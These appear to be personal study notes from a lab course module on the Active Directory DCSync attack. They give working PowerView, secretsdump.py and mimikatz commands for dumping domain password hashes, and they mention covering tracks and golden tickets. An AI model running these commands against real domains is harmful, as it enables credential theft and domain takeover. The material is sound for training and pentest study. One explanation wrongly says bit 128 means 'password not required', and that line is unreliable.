14. DCSync

Following our previous modules, we now have control over the user adunn who has DCSync privileges in the INLANEFREIGHT.LOCAL domain.

DCSync

It's common to find users with these rights.

Using Get-DomainUser to view adunn group membership

PS C:\htb> Get-DomainUser -Identity adunn  |select samaccountname,objectsid,memberof,useraccountcontrol |fl

samaccountname     : adunn
objectsid          : S-1-5-21-3842939050-3880317879-2865463114-1164
memberof           : {CN=VPN Users,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Shared Calendar
                     Read,OU=Security Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=Printer Access,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL, CN=File Share H Drive,OU=Security
                     Groups,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL...}
useraccountcontrol : NORMAL_ACCOUNT, DONT_EXPIRE_PASSWORD

Powerview can also be used to confirm. Get the user SID and check all ACLs set on the domain object DC=inlanefreight,DC=local using Get-ObjectAcl to get acls associated w/ the obj.

$sid= "S-1-5-21-3842939050-3880317879-2865463114-1164"

Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

If we had certain rights i.e. WriteDacl we could also add this privilege to a user under our control, execute the DCsync, and remove privileges to cover tracks. DCSync attacks can be performed with mimikatz, Invoke-DCSync, and impacket's secretsdump.py

secretsdump -just-dc instructs tool to extract NTLM / kerb keys from NTDS.dit

secretsdump.py -outputfile inlanefreight_hashes -just-dc INLANEFREIGHT/adunn@172.16.5.5 

-just-dc-ntlm for just ntlm, or -just-dc-user <USER> other neat flags are -history for pwd history and -pwd-last-set to see when pwds were last changed. -user-status for active/inactive users

We can dump the NTDS and filter out disabled users when providing our client with password cracking statistics

Accounts with Reversible Encryption Password Storage Set

When this is set on a user account:

Get-ADUser -Filter 'userAccountControl -band 128' -Properties userAccountControl

-band = bitwise and (compare two numbers at binary level, by comparing each bit of the two operands. if both bits are 1, result is 1) 128 corresponds to bit flag for password not required thus -band 128 checks if bit corresponding to 128 is set in uac

Powerview:

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Sometimes all user accounts are stored using reversible encryption. Some clients may do this to be able to dump NTDS and perform periodic password strength audits without having to resort to offline password cracking.

Mimikatz can perform this attack too. (we target administrator built-in here but we could also target krbtgt and create a golden ticket)

runas /netonly /user:INLANEFREIGHT\adunn powershell
Enter the password for INLANEFREIGHT\adunn:
Attempting to start powershell as user "INLANEFREIGHT\adunn" ...
.\mimikatz.exe
mimikatz # privilege::debug

mimikatz # lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator